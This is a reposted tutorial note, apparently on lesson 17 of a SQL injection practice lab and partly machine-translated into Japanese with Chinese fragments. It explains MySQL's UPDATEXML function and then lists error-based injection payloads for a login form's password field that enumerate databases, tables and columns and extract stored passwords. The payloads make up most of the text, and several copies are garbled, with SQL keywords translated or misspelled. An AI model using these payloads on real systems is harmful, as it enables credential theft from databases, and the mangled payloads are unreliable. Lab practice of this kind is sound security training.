少ない17




参考文献:HTTPS://www.jb51.net/article/125599.htm
                      https://www.jb51.net/article/125607.htm
UPDATEXML(xml_document、XPath_string、NEW_VALUE);
最初のパラメータ:XML_documentが文字列であります形式、XMLドキュメントオブジェクトの名前、ドキュメントのテキスト
第二引数:XPath_string(XPath文字列形式)、XPath構文を理解していない場合、あなたはオンラインチュートリアルを見つけることができます。
第三引数:NEW_VALUE、文字列の形式は、修飾データ見つかっ置き換える
ノードの条件に沿った文書の値を変更する:機能
XPATH_stringに沿ってXML_documentの値を変更するには
:と私たちの注射の文
 (SELECT UPDATEXMLを(1、CONCAT 0x7Eを、(security.usersからSELECTユーザ名が制限 0,1)、0x7Eを)、1);
前記ストリングに接続されている連結()関数は、XPATH_stringフォーマットに準拠しないので、不正なバーストがあります
エラー1105(HY000):XPATH構文エラー: '〜ダム〜'

 

 

uname =管理&passwdファイル= afafa '#&提出= Submitを
選択UPDATEXML(1、CONCAT(0x7eのを、(データベース()))、1);
UPDATEXML(1、CONCAT(0x7Eを、(构造语句))、1)を選択し、
查库:選択information_schema.schemataからSCHEMA_NAME;
查表:INFORMATION_SCHEMA.TABLESから選択TABLE_NAMEここTABLE_SCHEMA = 'セキュリティ';
查列:選択COLUMN_NAMEから; table_nameは'ユーザー' = information_schema.columns
查字段:security.usersから選択し、ユーザー名、パスワードを。
そしてUPDATEXML(1、CONCAT(0x7Eを、(選択information_schema.schemata限界0,1))からSCHEMA_NAME、1)
とUPDATEXML(1、CONCAT(0x7Eを、(INFORMATION_SCHEMA.TABLESから選択TABLE_NAMEここTABLE_SCHEMA = 'セキュリティ'))、 1)

 

 

ユーザー名とパスワードadminを入力し、表示

 

 

 

uname =管理&passwdファイル= A」とUPDATEXML(1、CONCAT(0x7eの、(現在データベース()))、1)#&提出=送信

 查当前库:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(databese())),1)#&submit=Submit

 

uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata  limit 5,1),0x7e),1)#&submit=Submit

 

 

 

查表name=admin&passwd=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'  limit 3,1),0x7e),1)#&submit=Submit

 

 

 查列uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'  limit 4,1),0x7e),1)#&submit=Submit

 

 查信息:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select password from (select password from security.users  limit 0,1)users ),0x7e),1)#&submit=Submit

 

 

 

 注意:这里之所以使用两层select,是因为会出现报错:

 

 

 意思是不能select出同一表中的某些值,这是再用一个select中间一下就可以了

参考:https://blog.csdn.net/z_youarethebest/article/details/53785487

 

おすすめ

転載: www.cnblogs.com/xingyuner/p/12235249.html